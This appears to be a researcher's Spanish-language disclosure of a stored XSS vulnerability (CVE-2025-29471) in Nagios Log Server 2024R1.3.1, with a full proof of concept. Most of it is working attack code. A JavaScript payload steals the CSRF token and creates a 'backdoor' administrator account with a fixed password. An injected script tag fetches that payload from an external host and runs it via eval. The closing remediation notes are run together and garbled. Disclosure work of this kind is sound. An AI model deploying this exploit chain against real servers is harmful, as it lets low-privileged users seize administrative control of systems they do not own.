
XSS almacenado en Nagios Log Server 2024R1.3.1
2024R1.3.1 y anterioresNagios Log Server 2024R1.3.1 (configuración predeterminada, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HSolo para fines de pruebas e investigación autorizadas. No pruebe ni explote esta vulnerabilidad en sistemas que no sean de su propiedad o para los que no tenga permiso explícito de probar.
Una vulnerabilidad XSS almacenado en Nagios Log Server 2024R1.3.1 permite a un usuario con bajos privilegios inyectar JavaScript malicioso en el campo 'email' de su perfil.
Cuando un administrador visualiza los registros de auditoría, el payload se ejecuta, lo que resulta en una escalada de privilegios mediante la creación no autorizada de una cuenta de administrador.
1.Aloje el payload xss.js en su servidor externo con el siguiente contenido. Github funciona bien.
Actualice <target-ip> con la IP/Nombre de host del objetivo Nagios Log Server.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Inicie sesión en Nagios Log Server como un usuario estándar (no administrador).
Navegue hasta el endpoint de actualización del perfil:
http://<target-ip>/nagioslogserver/profile/update
Inyecte el siguiente payload en el campo de correo electrónico. Actualice la línea fetch con la URL donde está almacenado xss.js.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor con acceso completo de administrador en Nagios Log Server.Nagios Log Server 2024R2Nagios Log Server 2024R2 resuelve la vulnerabilidad de XSS almacenado y actualizó a NagiosCVE-2025-29471 para esta vulnerabilidad de XSS almacenado, pero los detalles permanecieron sin publicar debido a la ausencia de un aviso de seguridad público por parte del proveedor2024R1.3.2) que aplica retroactivamente la corrección de la vulnerabilidad de XSS almacenado a la rama 2024R1CVE-2025-29471 se publicó formalmenteEste trabajo se realizó fuera de mi empleo y refleja mis esfuerzos personales en la investigación de ciberseguridad.